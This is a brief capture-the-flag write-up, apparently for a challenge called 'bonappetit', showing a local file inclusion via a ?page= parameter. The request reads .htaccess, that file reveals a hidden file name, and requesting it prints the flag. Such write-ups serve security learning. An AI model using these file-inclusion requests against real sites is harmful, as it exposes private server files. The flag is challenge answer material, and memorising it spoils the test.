we have this target :

http://bonappetit.stillhackinganyway.nl/

after some browsing we see this parametre is effected by LFI

http://bonappetit.stillhackinganyway.nl/?page=

from source code :

http://bonappetit.stillhackinganyway.nl/?page=.htaccess

<FilesMatch "suP3r_S3kr1t_Fl4G">

http://bonappetit.stillhackinganyway.nl/?page=suP3r_S3kr1t_Fl4G

the flag :
flag{82d8173445ea865974fc0569c5c7cf7f}